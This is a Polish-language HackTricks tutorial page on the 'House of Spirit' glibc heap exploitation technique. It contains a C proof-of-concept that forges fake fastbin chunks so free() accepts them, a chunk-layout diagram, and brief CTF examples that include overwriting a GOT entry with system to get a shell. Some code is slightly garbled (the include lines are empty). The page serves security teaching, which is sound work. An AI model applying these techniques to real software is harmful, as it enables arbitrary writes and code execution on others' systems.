House of Spirit

Wesprzyj HackTricks

Podstawowe informacje

Kod

Dom Ducha

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Cel

* Być w stanie dodać adres do tcache / fast bin, aby później można go było zaalokować

### Wymagania

* Ten atak wymaga, aby atakujący mógł stworzyć kilka fałszywych szybkich kawałków wskazujących poprawną wartość rozmiaru i następnie zwolnić pierwszy fałszywy kawałek, aby trafił do pojemnika.

### Atak

* Stwórz fałszywe kawałki omijające kontrole bezpieczeństwa: będziesz potrzebował 2 fałszywych kawałków, wskazujących w odpowiednich pozycjach poprawne rozmiary
* W jakiś sposób zwolnij pierwszy fałszywy kawałek, aby trafił do pojemnika fast lub tcache, a następnie zaalokuj go, aby nadpisać ten adres

**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **jest świetny do zrozumienia ataku.** Chociaż ten schemat z kodu dobrze go podsumowuje:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Należy utworzyć drugi kawałek w celu ominięcia pewnych kontroli poprawności.

Przykłady

  • Wyciek informacji z Libc: Poprzez przepełnienie możliwe jest zmienienie wskaźnika tak, aby wskazywał na adres GOT w celu wycieku adresu Libc poprzez akcję odczytu CTF

  • House of Spirit: Wykorzystując licznik, który zlicza liczbę "karabinów", możliwe jest wygenerowanie fałszywego rozmiaru pierwszego fałszywego kawałka, a następnie wykorzystanie "wiadomości", aby sfałszować drugi rozmiar kawałka, a następnie wykorzystanie przepełnienia, aby zmienić wskaźnik, który zostanie zwolniony, więc nasz pierwszy fałszywy kawałek zostanie zwolniony. Następnie możemy go zaalokować, a wewnątrz będzie adres, pod którym przechowywana jest "wiadomość". Następnie możliwe jest skierowanie tego do wpisu scanf w tabeli GOT, dzięki czemu możemy nadpisać go adresem do systemu. Następnym razem gdy zostanie wywołane scanf, możemy wysłać wejście "/bin/sh" i uzyskać dostęp do powłoki.

  • Wyciek Glibc: Niezainicjowany bufor stosu.

  • House of Spirit: Możemy zmodyfikować pierwszy indeks globalnej tablicy wskaźników na stercie. Za pomocą jednobajtowej modyfikacji używamy free na fałszywym kawałku wewnątrz poprawnego kawałka, dzięki czemu po ponownej alokacji otrzymujemy sytuację nakładających się kawałków. Dzięki temu atak trucizny Tcache działa, aby uzyskać arbitralne pisanie.

Odnośniki

Last updated